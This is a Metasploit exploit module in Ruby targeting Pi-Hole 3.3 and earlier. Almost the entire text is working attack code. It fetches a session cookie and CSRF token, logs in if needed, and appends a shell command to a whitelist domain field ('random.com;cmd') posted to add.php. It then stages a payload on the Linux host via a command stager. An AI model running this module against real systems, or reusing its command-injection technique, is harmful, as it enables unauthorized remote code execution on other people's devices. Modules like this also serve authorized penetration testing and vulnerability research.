Pi-Hole 3.3 Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Pi-Hole Whitelist OS Command Execution',  
'Description' => %q{  
This exploits a command execution vulnerability in Pi-Hole <= 3.3.  
When adding a new domain to the whitelist, it is possible to chain  
a command to the domain that is run on the OS.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die', # msf module  
'Denis Andzakovic' # original PoC, discovery  
],  
'References' =>  
[  
['URL', 'https://pulsesecurity.co.nz/advisories/pihole-v3.3-vulns']  
],  
'Platform' => ['linux'],  
'Privileged' => false,  
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => 'Apr 15 2018',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),  
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),  
]  
)  
end  
  
def login(cookie)  
vprint_status('Login required, attempting login.')  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'cookie' => cookie,  
'vars_get' => {  
'tab' => 'blocklists'  
},  
'vars_post' => {  
'pw' => datastore['PASSWORD']  
},  
'method' => 'POST'  
)  
end  
  
def execute_command(cmd, _opts = {})  
# get cookie  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')  
)  
cookie = res.get_cookies  
print_status("Using cookie: #{cookie}")  
  
# get token  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),  
'cookie' => cookie,  
'vars_get' => {  
'l' => 'white'  
}  
)  
  
# check if we got hit by a login prompt  
if res && res.body.include?('Sign in to start your session')  
res = login(cookie)  
end  
  
if res && res.body.include?('Sign in to start your session')  
fail_with(Failure::BadConfig, 'Incorrect Password')  
end  
  
# <div id="token" hidden>f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=</div>  
# may also include /  
%r{div id="token" hidden>(?<token>[\w+=/]+)</div>} =~ res.body  
  
unless token  
fail_with(Failure::UnexpectedReply, 'Unable to find token')  
end  
  
print_status("Using token: #{token}")  
  
send_request_cgi({  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'cookie' => cookie,  
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'add.php'),  
'vars_post' => {  
'domain' => "#{rand_text_alphanumeric(3..5)}.com;#{cmd}",  
'list' => 'white',  
'token' => token  
}  
})  
end  
  
def check  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),  
'method' => 'GET'  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200  
  
# vDev (HEAD, v3.2.1-0-g31dddd8-dirty)  
# v3.2.1  
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d\.]+)\)?.*<b>}m =~ res.body  
  
if version && Gem::Version.new(version) < Gem::Version.new('3.3')  
vprint_good("Version Detected: #{version}")  
return CheckCode::Appears  
else  
vprint_bad("Version Detected: #{version}")  
return CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
CheckCode::Safe  
end  
  
def exploit  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')  
end  
  
begin  
execute_cmdstager(flavor: :bourne)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
  
end  
end  
`